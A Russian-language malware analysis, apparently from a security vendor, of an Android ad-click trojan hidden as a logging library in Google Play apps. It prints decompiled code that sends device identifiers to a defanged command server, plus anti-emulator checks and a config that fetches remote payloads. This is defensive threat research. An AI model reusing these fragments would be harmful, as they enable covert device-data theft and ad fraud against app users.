SHA1-хеш:
- 06c99cf6e53bfe9b730f57a531a4ef5202bafefa
Описание
Данный троян-кликер является модификацией Android.Click.410.origin, который был выявлен вирусными аналитиками «Доктор Веб» 28 апреля 2023 года. Описываемый троян встраивается в приложения китайских разработчиков под видом библиотеки для работы с логами com.android.logcatch. Среди инфицированных приложений в магазине Google Play встречаются Love Spouse (для управления товарами для взрослых) и QRunning (трекер физической активности). Суммарное количество устройств, на которые установлены приложения, составляет 1,5 миллиона. Следует отметить, что скомпрометированными оказались последние несколько версий данных приложений. Характерной особенностью трояна является то, что он не запускается на устройствах, в настройках которых в качестве региона выбран Китай и используется китайский язык интерфейса.
Принцип действия
В код скомпрометированного приложения встраивается следующий вызов:
com.android.logcatch.logs.LogCatchManager.init(android.content.Context)
Этот метод инициализирует вредоносное SDK. Также на этом этапе выполняется обновление конфигурации трояна, для чего он отправляет HTTP-запрос по адресу https[:]//trends[.]search-hub[.]cn/QRunning.
От сервера приходит HTTP-ответ с кодом 302, при этом поле заголовка Location содержит ссылку — например, https[:]//trends[.]search-hub[.]cn?wgfb_switch=1&wgbl_switch=1&ddj_switch=1. Параметры, содержащиеся в полученной ссылке, являются конфигурацией трояна. Имя параметра представляет собой одно из действий, а значение «1» означает, что его надо выполнить:
- «wgfb_switch» = 1 запускает модуль Airmfly,
- «wgbl_switch» = 1 запускает модуль Weatherokye,
- «ddj_switch» = 1 выполняет сбор информации об устройстве и отправку ее на сервер.
После получения конфигурации троян проверяет регион и языковые настройки устройства, если выбран Китай и используется китайский язык, никакие дальнейшие действия не выполняются.
Сбор данных об устройстве
Ниже приведен код метода, который собирает данные об устройстве и отправляет их на сервер https[:]//usae[.]dsp[.]dbincome[.]com.
ThreadManager.executeOnAsyncThread(() -> {
JSONObject root = new JSONObject();
JSONObject app = new JSONObject();
app.put("bundle", "com.wbkj.lovespouse");
root.put("app", app);
JSONObject geo = new JSONObject();
geo.put("country", Locale.getDefault().getCountry());
geo.put("region", Locale.getDefault().getCountry());
geo.put("city", Locale.getDefault().getCountry());
JSONObject device = new JSONObject();
device.put("geo", geo);
device.put("ua", "Dalvik/2.1.0 (Linux; U; Android 13; Pixel 4a Build/TQ2A.230405.003)");
device.put("ip", Utils.getIP());
device.put("devicetype", 4);
device.put("make", Build.MANUFACTURER);
device.put("model", Build.MODEL);
device.put("os", "android");
device.put("osv", Build.VERSION.RELEASE);
device.put("h", this.val$context.getResources().getDisplayMetrics().heightPixels);
device.put("w", this.val$context.getResources().getDisplayMetrics().widthPixels);
device.put("js", 1);
device.put("language", Locale.getDefault().getLanguage());
device.put("carrier", Build.BRAND);
device.put("mccmnc", Utils.getMccmnc(this.val$context)); // // network operator
device.put("connectiontype", 1);
device.put("ifa", PreferenceUtils.getString(this.val$context, "google_id"));
root.put("device", device);
Utils.sendGetRequest(("https[:]//usae[.]dsp[.]dbincome[.]com/dsp/pushdata/cao" + "?data=" + root.toString()));
});
Модуль Airmfly
Код модуля содержится в пакете xaicsjv.wqqc, работа модуля управляется сервером, расположенным по адресу play[.]airmfly[.]com.
Модуль регистрирует ресиверы для получения рекламных стратегий на запуск через заданные промежутки времени, а также при возникновении следующих системных событий:
- изменение статуса батареи и зарядки,
- изменение статуса сети,
- изменение состояния экрана,
- установка времени или выбор часового пояса.
Airmfly запрашивает данные об IP-адресе устройства и регионе IP-адреса у сервера geo[.]airmfly[.]com. Полученная информация сохраняется в настройках приложения.
Модуль продолжает работу только если с момента последнего запуска прошло более трех минут. При этом он отправляет HTTP-запрос по адресу https[:]//play[.]airmfly[.]com/logstores/info/track, в котором передает информацию о том, запущено ли основное приложение в эмулируемой среде, что сигнализирует злоумышленникам о попытке его отладки.
Код создания параметров запроса:
((HashMap)map0).put("adb_open", ((int)an_AntiEmulator.isAdbOpen(context0)));
((HashMap)map0).put("ro_debug", an_AntiEmulator.ro_debug());
((HashMap)map0).put("usb_charging", ((int)an_AntiEmulator.usb_charging(context0)));
((HashMap)map0).put("root", "0");
((HashMap)map0).put("eng_mode", an_AntiEmulator.ro_secure());
((HashMap)map0).put("debugging", ((int)an_AntiEmulator.debuggerConnected(context0)));
((HashMap)map0).put("vpn_on", ((int)an_AntiEmulator.isVPN_On(context0)));
((HashMap)map0).put("proxy_on", ((int)an_AntiEmulator.isProxy_On(context0)));
((HashMap)map0).put("is_xp", "0");
Основная активность модуля сводится к отправке HTTP-запросов по адресу https[:]//stg[.]airmfly[.]com/stg. В полученном ответе содержится описание задачи. Существует два типа задач, которые условно можно назвать:
- StrategyWebSite
- StrategyWebSearch
Airmfly StrategyWebSite
Создает WebView, не отображаемый на экране устройства, и загружает в него URL с параметрами из задачи. Запускает в WebView сценарий Javascript, находящийся в параметрах задачи и имеющий название check_website_load_completed_js.
После выполнения скрипта троян может сделать скриншот сайта, загруженного в WebView, и отправить его в закодированном base64 виде на сервер https[:]//capture[.]airmfly[.]com/get_img.
Далее выполняет сценарии JS из задачи для поиска рекламы и делает клики
check_click_ad_js
pop_check_js
website_text_click_js
banner_check_js
Если на загруженной странице есть видео, троян пробует отключить в нем звук с помощью JS.
Делает скриншот, анализирует его попиксельно, определяет координаты кликов и выполняет клики. Реализует различные сценарии кликов и прокрутки содержимого WebView.
Airmfly StrategyWebSearch
Принцип действия похож на StrategyWebSite, однако данная задача адаптирована для работы с поисковыми движками Bing, Yahoo и Google.
Получает ключевые слова, выполняя запрос к серверу https[:]//keywords[.]airmfly[.]com/keyWords.
Создает не отображаемый на экране WebView и загружает в него URL из задачи. К URL добавляются параметры — полученные ранее ключевые слова.
Загружает сценарий Javascript, который определяет поисковый движок и наличие рекламы в результатах. Сценарий может поставляться вместе со стратегией или быть зашит в тело трояна. В последнем случае поддерживаются только поисковые движки Google, Bing, Yahoo.
Троян может получать ключевые слова по ссылке https[:]//keywords[.]airmfly[.]com/keyWords, после чего загружает сценарий Javascript, который находит формы для поисковых запросов и вводит в них полученные слова.
С помощью сценариев Javascript и Java-кода троян может выполнять прокрутку содержимого WebView, определять элементы сайта, по которым выполняются клики. Он также использует попиксельный анализ скриншотов сайта для определения координат клика. В процессе отправляет скриншоты сайта на https[:]//capture[.]airmfly[.]com/get_img.
Если страница воспроизводит аудио, модуль отключает звук с помощью Javascript.
Модуль Weatherokye
Ещё один модуль в составе трояна. Код находится в пакетах:
com.android.logcatch
com.ese.rby
com.a
Адрес управляющего сервера — https[:]//planw[.]weatherokye[.]com.
Модуль отправляет запрос на https[:]//planw[.]weatherokye[.]com/v1/udinfor. После получения ответа isd со значением «0» модуль продолжает свою работу.
Далее выполняется запрос на https[:]//planw[.]weatherokye[.]com/v1/init. В ответ на него отправляется список подмодулей, которые будут запущены. Пример ответа сервера:
{
"d": 1,
"ms": [
{
"c": "com.mgc.aio.Run",
"cm": "1",
"d": "https://5.ahd187.com/thirdsdk/flowcashpack/103/mgidnews-211-202308301839d",
"id": 103,
"m": "instance",
"p": "910"
},
{
"c": "com.moi.caq.Run",
"cm": "1",
"d": "https://5.ahd187.com/thirdsdk/flowcashpack/116/mgidnews2-202-202307261721d",
"id": 116,
"m": "instance",
"p": "910"
}
]
}
В коде SDK параметры c и d не используются. По ссылке из параметра d доступен зашифрованный файл, а в элементе c содержится имя класса. Вероятно, это выполняет загрузку удаленного кода для других версий SDK. В данной версии код для выполнения всех задач изначально присутствует.
В зависимости от значения параметра id запускается тот или иной подмодуль SDK. Поддерживаемые подмодули и их идентификаторы содержатся в коде приложения:
HashMap hashMap0 = new HashMap();
hashMap0.put("99", "offer");
hashMap0.put("172", "offer2");
hashMap0.put("103", "mgidnews");
hashMap0.put("116", "mgidnews2");
hashMap0.put("154", "mgidnews3");
hashMap0.put("113", "bingAD");
hashMap0.put("150", "bingAD2");
hashMap0.put("162", "bingAdOA");
hashMap0.put("168", "bingAdOA2");
hashMap0.put("190", "bingAdOA3");
hashMap0.put("200", "bingAdOA4");
hashMap0.put("206", "bingAdOA5");
hashMap0.put("214", "bingAdOA6");
hashMap0.put("220", "bingAdOA7");
hashMap0.put("222", "bingAdOA8");
hashMap0.put("232", "brandAd");
hashMap0.put("234", "tbnews");
Тут, например,c 103 — это id, полученный от сервера, а mgidnews — условное имя модуля, который будет запущен.
Данные подмодули похожи друг на друга. Принцип действия у них примерно одинаковый:
- Создает неотображаемый на экране устройства WebView.
- Загружает в него ссылки, при этом конфигурация задачи получается обычно с сервера https[:]//planwm[.]weatherokye[.]com — например, https[:]//planwm[.]weatherokye[.]com/v1/mgidnews.
- Выполняет Javascript-код в WebView, который взаимодействует с расширенными WebChromeClient и WebViewClient, также взаимодействует с Java-кодом через аннотацию @JavaScriptInterface. Делает различные действия с загруженной страницей: кликает, выполняет прокрутку, отключает звук видео, вводит текст в формы.
В некоторых модулях JS-скрипты дополнительно загружаются с https[:]//5[.]ahd187[.]com.